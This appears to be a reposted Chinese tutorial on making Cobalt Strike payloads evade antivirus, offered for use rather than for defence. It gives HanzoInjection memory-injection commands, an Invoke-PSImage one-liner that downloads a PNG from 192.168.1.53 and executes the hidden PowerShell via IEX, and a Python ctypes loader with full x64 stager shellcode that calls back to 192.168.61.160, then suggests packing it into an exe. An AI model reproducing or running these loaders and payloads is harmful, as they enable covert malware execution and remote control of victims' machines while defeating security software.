当前位置: 首页 > news >正文

Cobalt Strike(十五)使用多种方法免杀 payload

1.HanzoInjection 方法

hanzoijection是一个工具,它专注于在内存中注入任意代码,以绕过常见的防病毒解决方案

下载地址

GitHub - P0cL4bs/hanzoInjection: injecting arbitrary codes in memory to bypass common antivirus solutions


Arguments Options:

        OPTION        TYPE       DESCRIPTION
       -e,--execute  [.raw]      Name of file.bin, payload metasploit type raw
       -p,--payload  [.raw]      Payload meterpreter type [RAW]  requered parameter -o [output]
       -o,--output   [file.cs]   Output generate project file.cs injection memory payload c#
       -h,--help     [Help]      show this help and exit

Example Usage:

        HanzoInjection.exe -e payload_meterpreter.bin
        HanzoInjection.exe -p meterpreter.bin -o injection_memory.cs

1.2 cobat strike 生成二进制文件 

把整个文件上上传到目标上执行命令

HanzoInjection.exe -e payload.bin

360和或火绒都没有任何的提示

 

2.Invoke-PSImage

Invoke-PSImage可以将一个PowerShell脚本中的字节嵌入到PNG图像文件的像素之中,并生成一行执行命令来帮助我们从文件或Web(传递-Web标记)执行它们。

它会利用图片中每个像素点最后4位有效位的2个颜色值来存储Payload数据,虽然图片质量会受到影响,但是一般来说是看不出来有多大区别的。图片需要存储为PNG格式,由于Payload数据存储在颜色值中,因此这种格式可以进行无损压缩并且不会影响到Payload的执行。它可以接受目前绝大多数的图片类型作为输入,但输出必须为PNG格式,因为输出的图片数据需要是无损的。

图片的每一个像素都需要存储脚本的一个字节,所以你需要根据脚本中的字节数据大小来选择图片(尽可能多的像素点)。例如,Invoke-Mimikatz需要一张1920×1200的图片来存储。

工具的下载地址

Powershell -ExecutionPolicy Bypass

Import-Module .\Invoke-PSImage.ps1

Invoke-PSImage -Script .\payload.ps1 -Image .\test.jpg –Out test2.png –Web

生成成功之后它会给你一条利用的代码

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/test2.png"));$o=a Byte[] 3840;(0..1)|%{foreach($x in(0..1919)){$p=$g.GetPixel($x,$_);$o[$_*1920+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))

用cs生成payload.ps1

http://example.com/test2.png这个地方就要填写你刚才生成的文件图片的地址

http://192.168.1.53:80/test2.png

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://192.168.1.53:80/test2.png"));$o=a Byte[] 3840;(0..1)|%{foreach($x in(0..1919)){$p=$g.GetPixel($x,$_);$o[$_*1920+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))

打开powershell

 3.python 生成免杀

执行payload的模版

from ctypes import *
import ctypes
# length: 614 bytes
buf = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\xe8\x80\x00\x00\x00\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x42\x4f\x49\x45\x39\x3b\x45\x4e\x55\x53\x4d\x53\x43\x4f\x4d\x29\x00\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x00\x59\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x61\x5a\x48\x89\xc1\x41\xb8\xd2\x04\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x44\x48\x89\xc1\x48\x31\xd2\x41\x58\x4d\x31\xc9\x52\x68\x00\x02\x60\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x6a\x0a\x5f\x48\x89\xf1\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x75\x1d\x48\xff\xcf\x74\x10\xeb\xdf\xeb\x63\xe8\xb7\xff\xff\xff\x2f\x53\x39\x70\x61\x00\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\xc3\xe8\x35\xff\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x36\x31\x2e\x31\x36\x30\x00"
#libc = CDLL('libc.so.6')
PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
def executable_code(buffer):
    buf = c_char_p(buffer)
    size = len(buffer)
    addr = libc.valloc(size)
    addr = c_void_p(addr)
    if 0 == addr: 
        raise Exception("Failed to allocate memory")
    memmove(addr, buf, size)
    if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
        raise Exception("Failed to set protection on buffer")
    return addr
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(buf)
whnd = ctypes.windll.kernel32.GetConsoleWindow()   
if whnd != 0:
       if 1:
              ctypes.windll.user32.ShowWindow(whnd, 0)   
              ctypes.windll.kernel32.CloseHandle(whnd)
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()

 修改buf

然后用python打包成exe

 

——————————————————————————————————————————————————————————————军人天生就舍弃了战斗的意义

相关文章:

  • ELK日志平台(elasticsearch +logstash+kibana)原理和实操(史上最全)
  • 纯CSS锚点过渡效果,CSS3的属性scroll-behavior: smooth;
  • 手撕前端面试题【javascript~文件扩展名、分隔符、单向绑定、判断版本、深浅拷贝、内存泄露等】
  • 谷粒学苑项目后台管理系统
  • 数据分析之Numpy学习
  • es6的学习
  • CDGA|商业银行要强化数据风险管理
  • 怎么进行你的代码优化 编译器怎么优化你的代码
  • vue实战-Search模块开发(大体步骤)
  • C#基础--特殊的集合
  • 吴恩达2022机器学习_第二部分高级学习算法笔记
  • DGL教程
  • FAST-LIO2代码解析(五)
  • 苦卷28天,阿里P8给我的Alibaba面试手册,终于成功踹开字节大门
  • Vue:v-on、v-bind、v-model、@click、:model用法以及区别(附代码实例)
  • 【跃迁之路】【733天】程序员高效学习方法论探索系列(实验阶段490-2019.2.23)...
  • Apache的基本使用
  • bearychat的java client
  • canvas 高仿 Apple Watch 表盘
  • github从入门到放弃(1)
  • HashMap剖析之内部结构
  • HTTP--网络协议分层,http历史(二)
  • Javascript基础之Array数组API
  • JavaScript设计模式与开发实践系列之策略模式
  • JSONP原理
  • node.js
  • Rancher如何对接Ceph-RBD块存储
  • windows-nginx-https-本地配置
  • 半理解系列--Promise的进化史
  • 开源中国专访:Chameleon原理首发,其它跨多端统一框架都是假的?
  • 力扣(LeetCode)965
  • 前端技术周刊 2019-02-11 Serverless
  • 区块链将重新定义世界
  • 思否第一天
  • 积累各种好的链接
  • ​​​​​​​GitLab 之 GitLab-Runner 安装,配置与问题汇总
  • (01)ORB-SLAM2源码无死角解析-(56) 闭环线程→计算Sim3:理论推导(1)求解s,t
  • (Matalb时序预测)PSO-BP粒子群算法优化BP神经网络的多维时序回归预测
  • (二十五)admin-boot项目之集成消息队列Rabbitmq
  • (附源码)springboot 基于HTML5的个人网页的网站设计与实现 毕业设计 031623
  • (附源码)springboot码头作业管理系统 毕业设计 341654
  • (三) diretfbrc详解
  • (算法设计与分析)第一章算法概述-习题
  • (原创)攻击方式学习之(4) - 拒绝服务(DOS/DDOS/DRDOS)
  • (转)大型网站架构演变和知识体系
  • (转)关于如何学好游戏3D引擎编程的一些经验
  • .bat批处理(七):PC端从手机内复制文件到本地
  • .Net core 6.0 升8.0
  • .net开发时的诡异问题,button的onclick事件无效
  • .NET下ASPX编程的几个小问题
  • .sh文件怎么运行_创建优化的Go镜像文件以及踩过的坑
  • @Bean注解详解
  • @cacheable 是否缓存成功_让我们来学习学习SpringCache分布式缓存,为什么用?
  • @ModelAttribute注解使用
  • [ IOS ] iOS-控制器View的创建和生命周期